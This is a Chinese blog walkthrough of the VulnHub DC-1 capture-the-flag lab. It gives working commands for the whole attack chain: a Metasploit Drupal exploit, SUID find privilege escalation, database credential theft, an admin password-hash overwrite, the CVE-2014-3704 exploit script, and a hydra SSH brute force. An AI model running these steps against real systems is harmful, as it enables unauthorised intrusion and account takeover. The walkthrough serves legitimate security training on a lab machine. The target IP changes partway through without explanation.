vulnhub靶场-DC1练习

靶场下载地址:https://www.vulnhub.com/entry/dc-1,292/

导入到虚拟机

看一下本机的ip

1
ifconfig | grep "inet"

192.168.1.108

用nmap扫一下c段找靶机

1
nmap -sP 192.168.1.0/24

应该是192.168.1.102

用nmap看一下靶场开放了哪些端口

1
nmap -A 192.168.1.102

先看一下80端口的http服务

访问之后是这样一个站点

抓包看一下

这个Drupal 7应该是个框架

百度查一下

是一个框架,估计这个框架有漏洞

上msf神器

1
search drupal

这里能用第1个漏洞

1
use 1

还有配置没添加

yes是必填项,RHOSTS的配置没设

填一下靶机的ip即可

run运行

本机的地址和靶场的地址已经建立了一个session

输入shell之后,就可以输命令了,可以看到当前的账户名是www-data不是root用户,权限比较低的

而且现在是一个非交互式的shell,我们应该进入一个交互式的shell

我们利用python反弹一个交互式shell

1
python -c 'import pty;pty.spawn("/bin/bash")'

现在就是和我们常规用的shell一样了,用户名@主机名:路径$

现在因为不是root用户,所以需要提权

这里用到SUID提权

所以我们现在查看一下靶机上具有SUID的二进制可执行文件

手动找的话就是执行ls -al + 文件如果为-rwsr-xr-x即为设置了suid属性的

也可以直接用一条命令快速找suid可执行文件

1
find / -user root -perm -4000 -print 2>/dev/null

下面就是找到了的具有SUID的二进制可执行文件

但是不一定全都能用

这里有个知识点

已知的可用来提权的linux可行性的文件列表如下:

Nmap,Vim,find,Bash,More,Less,Nano,cp

我们看到靶场上有find,那么就可以利用find来提权

我们先看一下当前目录下有什么文件

这里的flag1.txt就是靶场的第一个flag了

利用find命令可以找到当前目录下是否有flag1.txt

1
find / -name flag1.txt

我们提权的姿势是在find命令后面跟一个命令

1
find / -name flag1.txt -exec "/bin/sh" \;

可以看到我们现在已经有root权限了,这个靶场拿下来,接下来就是获取靶场里面的几个flag

1
find / -name "*flag*.txt"

这里应该是有flag1-flag5的,目前就有flag1和flag4,这个thefinalflag.txt是最后一个flag,因为在root目录下,所以是需要提权的,但是我们刚刚已经提权成功了,所以其实最难的意见解决了,我们继续找前面几个flag

先看一下flag1的内容

意思是好的cms都有一个config文件

我们找一下配置文件

1
find / -name "*settings*"

1
cat /var/www/sites/default/settings.php

读一下发现flag2

还得到数据库的账户密码

我们进数据库看看

1
mysql -udbuser -pR0ck3t

这里-u和-p后面没有空格

进入到数据库

1
2
3
4
show databases;
use drupaldb;
show tables;
select * from users

有admin账户但是密码是加密的

网站应该有密码加密的文件

在这里找到一个password-hash.sh文件

我们直接利用这个文件

1
php scripts/password-hash.sh root

可以看到得到了加密后的内容

因为我们不能解密,但是可以操作数据库,所以我们把原本的加密密码替换成root的这个

1
update drupaldb.users set pass="$S$D1.y7RS9/wH69s8gYc5tlB5mx1M3c22iltl3oHKtdUdWgSav0rN8" where name="admin";

那么现在我们就用admin root登陆网站

成功登陆

这里介绍另一种登陆网站管理员后台的方法,就是利用drupal的CVE2014-3704漏洞,可以直接添加管理员账户

下载地址:

1
https://www.exploit-db.com/exploits/34992

适用于drupal的7.0到7.31版本

我们直接下载exploit

得到一个py文件

直接用python2跑

他告诉了我们一些要填的参数

1
python 34992.py -t http://192.168.1.102 -u 12345 -p 12345

创建成功

成功登陆

顶上有一条黑色的栏目就是后台的配置

可以看到这里有个flag3

这里再说一下这个flag4,其实flag4是在flag4这个系统用户目录下面的,我们可以试试拿到flag4这个用户的账户,所以这里用爆破ssh试一下

1
hydra -l flag4 -P /Users/long/Desktop/渗透测试字典/fuzzDicts-main/pass.txt ssh://192.168.70.44

密码字典就去github上找一个就好

跑出来了,密码是orange

1
ssh flag4@192.168.70.44

登陆成功


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!